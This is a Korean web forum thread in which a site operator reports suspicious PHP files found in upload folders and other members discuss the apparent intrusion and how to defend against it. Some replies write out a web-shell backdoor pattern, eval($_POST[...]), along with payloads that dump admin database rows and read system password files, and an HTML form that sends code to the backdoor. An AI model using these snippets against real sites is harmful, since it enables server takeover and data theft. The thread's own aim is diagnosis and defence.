해킹 인가요? data 폴더에 이상 한것이 있네요....ㅠㅠ > 자유게시판

(218.♡.♡.104)

12.03.08 00:54:53

헐... 그런게 다있네요;;

라엘 자기소개 아이디로 검색 회원게시물

(175.♡.♡.232)

12.03.08 01:03:39

DB는 빠져나갔다고 보시면 됩니다.

(97.♡.♡.212)

12.03.08 01:25:02

그나마 php .ini 에서 exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source 를 disable 해 두어서 빼가지는 못한듯 하네요.

찾아보니 company.php 라는 실행 파일이 하나 더 있네요....ㅠㅠ

실행 해보았더니

This error (HTTP 403 Forbidden) means that Internet Explorer was able to connect to the website, but it does not have permission to view the webpage.

For more information about HTTP errors, see Help.

실행 php 구문을 막아주어서 웹에서 403 에러 뿌리고 죽어 버리는군요.

ch에디터와 g에디터 폴더에 업로드 되어 있네요.

회원님들도 확인 한번씩 해 보세요.

(182.♡.♡.102)

12.03.08 11:57:16

파일 실행안되는 것은 서버는 조금 안전하다고 생각되겠지만 자료는 이미 유출되었다고 보는 것이 좋을 듯 하네요. 화면에 뿌리면 되니까요. 문제는 어떤 경로로 파일을 올릴 수 있었느냐를 파악하시는 것이 우선일듯... 그게 후속대책이 아닐까 싶습니다.

파일 생성날짜를 파악해보시고 게시판에 사용된 그누버젼이라든지 아파치님이 쓰시는 빌더라든지 버젼을 확인해보시고 최근 버젼에서 그 문제가 발생했다면 현재 그누에 구멍이 있다는 걸 시사하는 겁니다.

(97.♡.♡.212)

12.03.09 06:15:41

순정 그누보드는 문제가 되지 않을것 같습니다.

기능을 추가한것 때문에 문제가 생긴듯한데
이기능을 이미 많은 분(개발지 와 사용자)들이 사용한다는것에 문제가 있을듯 합니다.

패치방법을 찾아서 패치를 먼저해야 할것 같네요....ㅠㅠ

(108.♡.♡.212)

12.03.08 01:17:08

eval 은 서버 (그러니까 FTP 비번, 게시판 비번 같은거 뽑을때) 쓰는 string 입니다. -..-;;;

eval($_POST['admin']), 이런식으로...

c99 shell 같은거 찾아서 삭제한다고 해결될 일이 아니시구요... 해커입장에서 shell 이 삭제되면 다시 깔면 그만이니까... 모든 shell 을 disable 하는 방법이 더 낫지 않을까 싶습니다. 그런데 그러면 관리자가 쓰고 있는 shell 도 못쓰게 되는거 아닌가요?

저번에도 말씀드렸지만 제 컴에서는 크롬뿐만이 아니라 아파치님 사이트 방문했을때 악성 스크립 알람이 떴었습니다.

(97.♡.♡.212)

12.03.08 01:28:44

이미 대부분의 펑션은 disable 되어있습니다.
파일을 실행 테스트 해보니 웹에서 그냥 403 에러 뿜고 죽어 버리네요.

(182.♡.♡.102)

12.03.08 12:04:28

eval로 파일실행이 안되어도 자료는 가져가요. eval('\$sql="select * from G4_member where mb_level=10"; \$result=mysql_query(\$sql); \$row=mysql_fetch_array(\$result); dump(\$row);");이렇게 들어올 수도 있답니다.
그리고 eval('echo file_get_contents("/etc/password");');이런 것도 가능하구요.

(108.♡.♡.212)

12.03.08 12:56:20

이제 이거보고 애들이 또 그대로 따라한다에 제 손모가지 겁니다....

-.-;;

http://sir.co.kr/bbs/board.php?bo_table=cm_free&wr_id=678812

그리고 이거 union poison 때문에 관리자님께 여쭈어 보신거죠? ㅋㅋㅋ

(1.♡.♡.12)

12.03.08 20:07:47

테스트용으로 dtd버젼 설치후 search.php파일이 없길래 그냥 올린 겁니다.

(97.♡.♡.212)

12.03.09 06:23:07

다른 eval 실행파일은 없고 다행이도 본문과 같은 파일만 있어서 안심이네요...^^

(182.♡.♡.102)

12.03.09 12:13:45

그게 아닙니다. ㅠㅠ.

위의 eval안에 들어올 내용은 form을 작성해서 올라오는 겁니다.
위의 파일의 이름이 temp.php이라고 가정하고 예로 작성하면
<form method="post" action="사이트주소 및 경로/temp.php">
<textarea name="nonexx"></textarea>
<input type="submit" value="submit" />
</form>
이렇게 만든 후 폼에서 textarea에 eval로 실행시킬 값을 보내는 겁니다.

그리고 거기에 위에서 제가 언급한 코드들을 넣으면 자동으로 실행되는 거죠. 그러므로 서버상에는 위의 eval코드만 있으면 되요. 나머지는 해커가 원하는대로 실행만 하면 되구요. 만일 etc/password를 읽었다면 해커는 잘하면 root의 비밀번호를 가져간 걸로 이해하면 됩니다.

폼에서 textarea에 echo file_get_contents("/etc/password");라고 입력하고 전송하면 이 코드가 서버상에서 eval로 실행되는거죠. 그러니까 해커는 원하는 모든 php코드를 실행할 수 있는 겁니다.

(97.♡.♡.212)

12.03.09 12:32:17

그렇군요...^^
해킹하는 인간들 참 존경(?) 스럽네요...ㅠㅠ

근데 eval코드 실행을 막는 방법은 없나요?

서버는 jail 설정과 root 접속IP를 제한해서 문제는 없을듯 합니다.
좋은 정보 얻었네요. 감사합니다. letsgolee님!

루시올라 자기소개 아이디로 검색 회원게시물

(121.♡.♡.187)

12.03.08 01:18:15

그냥 모든 업로드 차단 해놓는 것이 속편합니다.

(108.♡.♡.212)

12.03.08 01:21:59

그냥 모든 업로드 차단 해놓는 것이 속편합니다. X 2

이게 진리인듯... ㅎㅎㅎㅎ

그리고 사진도 못 올리게 하고... 그래서 그누DTD 는 [이미지 url] 안 먹게 해놨더라구요. XSS 낚시 방지용으로....

(97.♡.♡.212)

12.03.08 01:30:28

그냥 사이트를 없애 버리던지 다른 대책을 강구 하던지 해야 겠네요....ㅜㅜ

(108.♡.♡.212)

12.03.08 01:45:12

테러보이님도 털리시고... 사이트 운영이 참 어려운 것 같습니다. 해커/크래커들이 사이트 뚫기는 쉽지만 막기는 어려운게 현실인 것 같습니다.